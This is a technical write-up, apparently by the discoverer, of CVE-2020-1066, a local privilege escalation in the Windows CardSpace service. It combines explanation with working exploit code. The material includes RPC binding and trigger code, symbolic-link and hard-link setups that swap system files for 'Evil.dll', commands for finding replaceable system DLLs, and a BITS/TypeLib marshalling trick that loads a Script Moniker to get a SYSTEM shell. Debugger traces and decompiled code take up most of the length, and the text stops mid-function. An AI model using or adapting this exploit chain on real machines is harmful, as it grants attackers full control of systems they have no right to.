
CVE-2020-1066-EXP支持Windows 7和Windows Server 2008 R2操作系统
This vulnerability belongs to the Windows CardSpace service that does not properly handle symbolic link objects, leading to a local privilege escalation via arbitrary file replacement.
The author's PoC is for research purposes only. If readers use this PoC for other activities, the author is not responsible.
[toc]
Applies to ordinary users on Windows 7 and Windows Server 2008 R2, as well as IIS users with special configurations.
The author is the submitter of this vulnerability, which was updated in May 2020. The vulnerability originates from the Windows CardSpace service (abbreviated as idsvc) on Windows 7 and Windows Server 2008 R2. This service can be started by any user, runs with System privileges, and provides public RPC calls. When the service moves a specified configuration file located in the current user's environment variable %APPDATA% directory triggered by the user, it does not properly handle symbolic link objects, leading to arbitrary file replacement and local privilege escalation. This is the root cause of the vulnerability.
Since this is based on RPC calls, it is necessary to first obtain the service's MIDL interface in order to write local code to interact with it. The author recommends using RpcView tool. For specific methods, refer to the RPC vulnerability research series.
First, use the following method to obtain symbol files and configure symbols in the tool. After that, you can decompile the RPC interface IDL file. The specific method is as follows:``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

Through the tool, obtain three important pieces of data: the type of RPC protocol, the protocol name, and the client definition file of the protocol interface (the .c file generated by compiling the IDL file, see the Decompilation text box on the left). In this way, the RPC service can be bound using the following method.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
Through decompiling the idsvc service code, the specific project was obtained (see related projects). The idsvc service binds the global handler RequestFactory.ProcessNewRequest of the global RPC interface. For the first call, i.e., when parentRequestHandle is 0, the CreateClientRequestInstance class is called to handle the callback, and subsequent operations are handled by the CreateUIAgentRequestInstance class.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
idsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是"ManageRequest"类;```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
Triggering the DoProcessRequest function of the ManageRequest instance to process the request, omitting the intermediate steps, finally calling StoreConnection.CreateDefaultDataSources() reaches the exploitation point. During interaction with the service, the service impersonates the client (Impersonate Client) and obtains the user's configuration file. By default, it specifies the configuration file under the user environment variable %APPDATA% directory. For IIS users, a special case is that the configuration file is not loaded by default; it needs to be enabled with the following configuration to work, click Application Pool -> Advanced Settings.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
idsvc service switches back to idsvc service identity via `new SystemIdentity(true)`, and calls `AtomicFileCopy` to move user profile files. By default, files under the `%APPDATA%` directory are fully controllable by the current user. When a high-privilege process performs operations such as deletion, moving, copying, or setting attributes on files controllable by a low-privilege process, the low-privilege process can exploit this privilege to perform other actions. James Forshaw [@tiraniddo](https://twitter.com/tiraniddo) provided us with a set of [open-source tools](https://github.com/googleprojectzero/symboliclink-testing-tools). His pioneering work on the NTFS file system and Windows internals did all the heavy lifting, implementing several techniques and exploitation methods that abuse Windows file system and path resolution functionality. The NTFS file system allows mounting one user-controlled directory to another user-controlled directory (Volume Mount Points and Junction Points), linking a target to another via Symbolic Links (NTFS Reparse Points), and linking a user-controllable file to another readable file via Hard Links. All these methods can be abused by malicious attackers to exploit file operations performed by high-privilege processes. For exploitation in the PoC, the following two methods can be used to create corresponding symbolic links for the source file and target file. The first method uses mount points and hard links, which only works on Win7; hard links have been mitigated by Microsoft. For specific reasons, see the [analysis](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08). The second method can still be exploited on Win10. The principle is to link via the any-user-writable object directory `\RPC Control` to a specified directory, and then continue linking files under the `\RPC Control` directory to the specified file. The specific method is as follows. For related information about symbolic links, refer to the [first part](https://www.4hou.com/posts/qV8D) and the [second part](https://www.4hou.com/posts/rE7B), which will not be repeated here.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
From Process Monitor, it can be seen that the idsvc service does not use impersonation when moving files, nor does it check the symbolic link attribute of files, leading to an arbitrary file replacement privilege escalation vulnerability. The following is the key exploitation code.```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### Vulnerability Exploitation Analysis #####
I designed a new privilege escalation method based on arbitrary file replacement, the prototype comes from [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/). This method applies to all versions of Windows 7 to Windows 10, but the prerequisite is that the file to be replaced is not controlled by TrustedInstaller permissions, otherwise the vulnerability cannot be triggered. The reason is that TrustedInstaller has higher privileges than other permissions. If you directly perform the replacement operation, even if it is operated with System privileges, the result is access denied. Generally, only files with administrator or System privileges meet the conditions. I created a [tool](https://gitee.com/cbwang505/TypeLibUnmarshaler) for searching replaceable files in a specified directory, which is provided in the relevant project list. You can also use the accesschk tool from Microsoft [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite). The command line is as follows, the last parameter is the specified directory file.```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
For Windows 7, the author used the above tools to find some system-built TypeLib (type library) files that can be exploited. For higher versions like Windows 10, a system-built TypeLib that can be written to by the System user was also found. Even better, for systems with third-party software registered COM components, there are generally similar TypeLib files meeting the criteria, so there is certainly value in this exploitation approach.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll

Exploitation on Windows 7 can be directly reflected in the poc. For higher version systems such as Windows 10, it has been verified in my other [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION). If only for testing purposes, you can use the following command line to launch and implement it. Since it requires writing by the System user, it is recommended to use tools such as [Process Hacker](https://processhacker.sourceforge.io/) to switch the current user identity to the System user. The effect is shown in the image above:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
If readers find a qualified TypeLib, they can open it with the OleView tool from the Windows SDK, select any Interface, and extract the three parameters: IID_Interface, InterfaceName, TypeLib_GUID. Then they can use the advanced mode of the exploitation tool to achieve exploitation. Here, the author uses a built-in TypeLib from the Windows 7 system for demonstration.
The principle of the exploit comes from the Background Intelligent Transfer Service (abbreviated as bits). Calling the IBackgroundCopyJob->SetNotifyInterface interface in the public API of the bits service allows passing any remote COM object. If this object inherits the IMarshal interface, the bits service will customize the unmarshal deserialization according to the CLSID passed in the interface method GetUnmarshalClass. Here, the author uses the standard Unmarshal method, i.e., CStdMarshal::UnmarshalInterface, to trigger deserialization. The data that leads to deserialization comes from the OBJREF structure in MarshalStream. The format of this structure is as follows. For details, refer to the Microsoft official documentation and my another article.```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
Here flags is OBJREF_STANDARD(0x01), indicating the use of standard Unmarshal method (CStdMarshal), and the corresponding union below is STDOBJREF. As for other flags types, they all have custom unmarshal methods, which are not within the scope of this article. Readers are advised to study them on their own. The ultimate cause of the exploit is the iid field. Through reverse engineering research, it was found that replacing this iid (that is, the interface IID_Interface found in oleview) can trigger the bits service to load the TypeLib (type library) of the COM component object corresponding to this iid, meaning arbitrary TypeLib deserialization. Finally, by replacing the TypeLib file with a nested TypeLib structure, Script Moniker can be run to GetShell. Here is the key exploit code:
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
```
From the debugging results, it can be seen that CStdMarshal::UnmarshalInterface ultimately calls LoadTypeLibEx, passing in the IID_InterfaceFake (from OBJREF), and the second call to LoadTypeLibEx loads the Script Moniker. This proves that it is indeed possible to HOOK a high-privilege process to deserialize and load an arbitrary TypeLib.```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fe`febf0140 4533c0 xor r8d,r8d
//继续调试....
0: kd> p
OLEAUT32!GetTypeInfoOfIIDFwd+0x19:
0033:000007fe`febefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe`feb6a550 fff3 push rbx
//第一次加载的是目标TypeLib
1: kd> dc @rcx L50
00000000`02c8e070 003a0043 0057005c 006e0069 006f0064 C.:.\.W.i.n.d.o.
00000000`02c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o.
00000000`02c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
00000000`02c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o.
00000000`02c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k.\.v.4...0...
00000000`02c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y.
00000000`02c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
00000000`02c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S.
00000000`02c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
00000000`02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n......
00000000`02c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
# Child-SP RetAddr : Args to Child : Call Site
00 00000000`0391d828 000007fe`febf00eb : 00000000`00000ed8 00000000`00000000 00000000`0391d9a0 00000000`0391d870 : OLEAUT32!LoadTypeLibEx
01 00000000`0391d830 000007fe`febf0f4f : 000007fe`ff6c71c0 000007fe`ff661889 00000000`0371f310 00000000`00000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 00000000`0391dbe0 000007fe`febf1149 : 00000000`00284210 00000000`0371f310 00000000`00284240 00000000`00284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 00000000`0391dc40 000007fe`ff51e46a : 00000000`00000000 00000000`03715ea0 00000000`00284210 00000000`00284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 00000000`0391dc90 000007fe`ff51e233 : 00000000`0371f310 00000000`00000000 00000000`0378aaf8 00000000`00284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000`0391dd00 000007fe`ff51e114 : 00000000`0391df50 00000000`0391e618 00000000`0378aaf8 00000000`00000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000`0391dd90 000007fe`ff5211ec : 00000000`03715ea0 00000000`0391df68 00000000`0391e618 0000113b`9a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000`0391dde0 000007fe`ff5210b7 : 00000000`00000000 00000000`059e7610 00000000`00000000 00000000`00000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000`0391de80 000007fe`ff52106c : 00000000`0378aaf8 00000000`0391df50 00000000`00000001 00000000`037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000`0391deb0 000007fe`ff64a0c5 : 00000000`0378aaf8 00000000`00000000 00000000`0365efb0 00000018`00000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000`0391df30 000007fe`ff5232a6 : 00000000`037daf90 000007fe`fee64366 00000000`001cf840 000007fe`fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000`0391dfd0 000007fe`ff523542 : 000007fe`00000002 00000000`0391e340 00000000`0391db00 00000000`00000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000`0391e0b0 000007fe`fedf523e : 00000000`0363fdd4 00000000`0391e340 000007fe`00000001 00000000`0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000`0391e120 000007fe`fedff6cf : 000007fe`00000000 00000000`0391e4f0 00000000`0391e618 00000000`00000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000`0391e190 000007fe`fede6e1c : 00000000`0391e340 000007fe`fede78d7 00000000`0391e4f0 00000000`0023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000`0391e1d0 000007fe`fede68e3 : 00000000`00000020 000007fe`faac1342 00000000`0391e618 000007fe`faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000`0391e240 000007fe`fede7967 : 00000000`0391e9b0 000007fe`fb63a250 00000000`0391e9b0 000007fe`fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000`0391e860 000007fe`ff660883 : 00000000`00000000 00000000`00000000 00000000`0391ec60 00000000`03715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000`0391e8c0 000007fe`ff660ccd : 00000000`00000000 00000000`00000000 000007fe`fb63a201 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000`0391e8f0 000007fe`ff660c43 : 00000000`0023e760 00000000`0378a994 00000000`036ce6a0 000007fe`ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000`0391e960 000007fe`ff51a4f0 : 00000000`0023e760 00000000`037daf90 00000000`0023e760 00000000`0391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000`0391ea10 000007fe`ff6614d6 : 00000000`00000000 00000018`00000010 00000000`037958a0 00000000`03715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000`0391eba0 000007fe`ff66122b : 00000000`d0908070 00000000`037daf90 00000000`01d93e30 00000000`03769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000`0391ec10 000007fe`ff65fd6d : 00000000`037daf90 00000000`037daf90 00000000`03715ff0 00000000`00070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000`0391eda0 000007fe`fede50f4 : 000007fe`ff6c9930 00000000`00000000 00000000`037241b0 000007fe`fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000`0391ee40 000007fe`fede4f56 : 000007fe`ff670ab0 00000000`00000001 00000000`0391f0b0 000007fe`ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000`0391ee70 000007fe`fede775b : 00000000`0378a970 00000000`00000000 00000000`0391f194 00000000`0378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000`0391ef90 000007fe`fede769b : 00000000`00000000 00000000`0391f0b0 00000000`0391f0b0 00000000`037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000`0391efd0 000007fe`fede7632 : 00000000`0378a970 00000000`0378a970 00000000`0378a970 000007fe`fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 00000000`0391f050 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe`feb6a550 fff3 push rbx
1: kd> dc @rcx L50
00000000`02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
00000000`02c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s.
00000000`02c8dd90 005c0074 006b006f 0072005c 006e0075 t.\.o.k.\.r.u.n.
00000000`02c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t.........
00000000`02c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
```
The apartment where the COM component server resides maintains a list of COM interface stub objects. Each stub object maintains a reference to a COM object. Based on the IID information of this COM object interface, the default value under the ProxyStubClsid32 subkey of the IID subkey is searched in the registry at HKEY_CLASSES_ROOT/Interface. This default value is the CLSID of a stub object. Then COM calls the CoGetClassObject function with this CLSID to request the proxy class factory interface IPSFactoryBuffer->CreateStub to create an interface stub object. Correspondingly, the client apartment of the COM component maintains a list of proxy objects. When unmarshaling an OBJREF, it searches for the [oxid, oid, ipid] of the matching stub object and calls IPSFactoryBuffer->CreateProxy to create the corresponding proxy. Through the function declarations defined in the interface IDL file, the physical stack is built, and then the actual interface function is called via the IRpcChannel channel implemented in RPCRT4.dll to communicate with the stub, thus implementing COM remote procedure (RPC) calls.

The creation of the proxy, IPSFactoryBuffer->CreateProxy, is by default encapsulated into the CreateProxyFromTypeInfo function. The call process of this function is related to the TypeInfo in TypeLib, because TypeInfo defines the relevant type information of the interface in TypeLib. Therefore, this process necessarily calls the LoadTypeLib function to load the TypeLib and its TypeInfo, which is the most critical point for triggering the vulnerability. Through reverse engineering of the LoadTypeLib function call process, it is discovered that it is implemented by operating the registry. For each interface, the information is located in the registry at HKEY_CLASSES_ROOT\Interface\[Interface IID], where the subkey TypeLib corresponds to the TypeLib_GUID of the interface. Then the corresponding TypeLib is located at HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID], where the subkey value for the corresponding version is the TypeLib path. Since an interface may have multiple TypeLib subkeys for different versions, only one is loaded by default during deserialization. The author, by reverse engineering the implementation in oleaut32.dll, implemented automatic matching and exploitation of the corresponding TypeLib file in the exploit tool. The specific reverse engineering results are as follows:```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
HKEY v21; // [esp+30h] [ebp-2F4h]
HKEY v22; // [esp+34h] [ebp-2F0h]
HKEY phkResult; // [esp+38h] [ebp-2ECh]
HKEY hKey; // [esp+3Ch] [ebp-2E8h]
CLSID pclsid; // [esp+40h] [ebp-2E4h]
WCHAR Data; // [esp+50h] [ebp-2D4h]
wchar_t Dst; // [esp+258h] [ebp-CCh]
unsigned __int16 tempData; // [esp+268h] [ebp-BCh]
OLECHAR sz; // [esp+26Ch] [ebp-B8h]
wchar_t SubKey; // [esp+2E8h] [ebp-3Ch]
WCHAR Name; // [esp+304h] [ebp-20h]
v12 = rguid;
v13 = a2;
if ( a3 >= 16 )
return (wchar_t *)-2147319779;
result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2);
if ( (signed int)result < 0 )
return result;
if ( result != (wchar_t *)1 )
goto LABEL_57;
hKey = (HKEY)-1;
phkResult = (HKEY)-1;
v22 = (HKEY)-1;
v21 = (HKEY)-1;
pptlib = 0;
//先找Interface
wcscpy_s(&Dst, 0x47u, L"Interface\\");
StringFromGUID2(rguid, &sz, 39);
//如果存在Forward
wcscat_s(&Dst, 0x47u, L"\\Forward");
cbData = 520;
if ( QueryClassesRootValueW(&Dst, &Data, &cbData)
|| CLSIDFromString(&Data, &pclsid)
|| GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) )
{
*(_DWORD *)SubVersion = 0;
*(_DWORD *)Version = 0;
//找里面的TypeLib
wcscpy_s(&Dst, 0x47u, L"TypeLib\\");
result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted);
if ( (signed int)result >= 0 )
{
//打开ClassesRoot根节点
if ( OpenClassesRootKeyW(&Dst, &hKey) )
{
result = (wchar_t *)-2147319779;
}
else
{
SubKey = 0;
//查找子健,枚举版本号
for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex )
{
versionLookUp = _wcstoul(&Name, &EndPtr, 16);
if ( *EndPtr == '.' )
{
if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0]
|| versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] )
{
*(_DWORD *)SubVersion = versionLookUpNext;
*(_DWORD *)Version = versionLookUp;
wcscpy_s(&SubKey, 0xDu, &Name);
}
}
}
if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) )
{
if ( phkResult == hKey )
hKey = (HKEY)-1;
v6 = 0;
//继续枚举子健
for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) )
{
if ( FIsLCID(&Dst) )
{
